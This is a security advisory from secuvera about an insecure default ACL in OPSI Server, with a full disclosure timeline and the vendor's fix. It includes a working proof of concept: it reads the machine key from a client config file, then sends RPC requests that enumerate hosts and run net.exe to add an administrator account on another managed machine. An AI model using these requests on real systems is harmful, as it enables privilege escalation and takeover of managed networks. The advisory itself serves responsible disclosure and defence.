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secuvera-SA-2017-01: Privilege escalation in an OPSI Managed Client environment ("rise of the machines")

2017-01-30 20:35
Affected Products
Tested with
OPSI Server 4.0.7.26
OPSI ClientAgent 4.0.7.10-1
(older releases have not been tested)
According to the vendor all server instances that use a python-opsi version lower
than 4.0.7.28-4 are affected

References
https://www.secuvera.de/advisories/secuvera-SA-2017-01.txt (used for updates)
https://sourceforge.net/p/opsi/mailman/message/35609086/ (announcement by vendor
in german language)
No CVE-Number has been assigned yet.
CWE-276 https://cwe.mitre.org/data/definitions/276

Summary:
"opsi is an open source client management system for Windows and Linux
clients and is based on Linux servers" (http://uib.de/en/opsi/about-opsi/)
The default access control list (ACL) configuration of the OPSI-Server
shipped with the product prior to Version 4.0.7.28-4 is unsafe so that environ-
ments using this liberal ACL are vulnerable against remote command execution and
as a result vulnerable against privilege escalation.

Effect:
A remote attacker with knowledge of a single machine name and the correspon-
ding OPSI “machine key” is able to execute arbitrary commands on any OPSI-
Managed client in the same managed environment by using the Remote Procedure
Call (RPC) Interface of the OPSI-Server.
The attacker is able to use the SYSTEM privileges of the OPSI Agent on any
managed client computer and execute arbitrary commands leading to an elevation
of privileges.

Example:
In this example scenario the attacker has or gained local administrative
rights to one client computer managed by the OPSI-Client-Agent (e. g. a de-
veloper that is in need of local administrative rights on his machine).
The OPSI Server opsiconfd has the options "verify ip" set to "yes" and
"update ip" set to "no". In the course of testing we figured out that these
settings have no effect at all.
With the following steps he is able to gain administrative control over any
other PC that is managed by the same OPSI Server instance.

1) Get the own machine name and the corresponding machine key:
Open
%programfiles(x86)%opsi.orgopsi-client-agentopsiclientd/
opsiclientd.conf
and extract the values for the following params: host_id, opsi_host_key,
url (of the config service)

In this scenario the host_id is pc1.test-network.lan.

2) Issue the following HTTP-Request to get a list of machines managed by OPSI:
POST /rpc HTTP/1.1
Host: <OPSI-SERVER-IP>:4447
Content-Length: 136
Accept-Encoding: deflate, gzip
Accept: application/json, text/plain
content-type: application/json
Authorization: Basic <"host_id:opsi_host_key" coded in base64>
Connection: close

{"params": ["*", "", "", "", "", "", "", "", ""], "id": 2, "method":
"getClientIds_list", "Hostname": "*"}

The Server responds with a list of managed systems.
E. g.
HTTP/1.1 200 OK
Content-Length: 1227
Set-Cookie: OPSISID=<somerandomvalue>; path=/
Accept-Ranges: bytes
Server: Twisted/16.0.0 TwistedWeb/[OPSI.web2, version 0.2.0]
Date: <date>
Content-Type: gzip-application/json;charset=utf-8
Connection: close


{"id": 2, "result": ["pc1.test-network.lan", "pc2.test-network.lan",
"domaincontroller.test-network.lan"], "error": null}


3) pick a pc that is not the machine that is originating this request.
In this example we will use "domaincontroller.test-network.lan".

4) Issue a request that adds a new user account "JohnConnor" with the Password
"R3sitanceIs4live":
POST /rpc HTTP/1.1
Host: <OPSI-SERVER-IP>:4447
Content-Length: 136
Accept-Encoding: deflate, gzip
Accept: application/json, text/plain
content-type: application/json
Authorization: Basic <"host_id:opsi_host_key" coded in base64>
Connection: close


{"params": ["C:\Windows\System32\net.exe user /add JohnConnor
R3sitanceIs4live", "domaincontroller.test-network.lan"], "id": 2,
"method": "hostControlSafe_execute"}


5) Move the newly created user to the local administrative group:
POST /rpc HTTP/1.1
Host: <OPSI-SERVER-IP>:4447
Content-Length: 136
Accept-Encoding: deflate, gzip
Accept: application/json, text/plain
content-type: application/json
Authorization: Basic <"host_id:opsi_host_key" coded in base64>
Connection: close


{"params": ["C:\Windows\System32\net.exe localgroup Administrators
JohnConnor /add", "domaincontroller.test-network.lan"], "id": 2,
"method": "hostControlSafe_execute"}


6) Login to domaincontroller.test-network.lan via RDP or if you like: repeat steps
4 and 5 for every managed client to gain access on them.


Solution:
Update to OPSI Server to Version 4.0.7.28-4 or higher. Make use of the supplied
default acl.conf.


Disclosure Timeline:
2017/01/09 problem was found during a penetration test
2017/01/09 vendor contacted via email to info () uib de and support () uib de
2017/01/10 initial vendor response from support () uib de submitting responsible
contact details
2017/01/10 submitted advisory to responsible contact
2017/01/10 vendor acknowledged problem and sent a fix. Proposed updating access-
control-lists shipped with product
2017/01/10 supplied fix was verified solving the problem
2017/01/12 vendor supplied a more strict version of the fix and details about
how and when they inform their users
2017/01/13 vendor supplied a fix for "verify ip" issue
2017/01/17 vendor publicly announced the fix for ACL and verify ip setting
2017/01/30 advisory disclosure

Credits
Simon Bieber, secuvera GmbH
sbieber () secuvera de
https://www.secuvera.de

Thanks to:
Tobias Glemser & Sven Supper, secuvera GmbH
and
Niko Wenselowski, uib GmbH
for their support.

Disclaimer:
All information is provided without warranty. The intent is to provide informa-
tion to secure infrastructure and/or systems, not to be able to attack or damage.
therefore secuvera shall not be liable for any direct or indirect damages that
might be caused by using this information.



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Source: 28/naJ/7102/erusolcsidlluf/gro.stsilces

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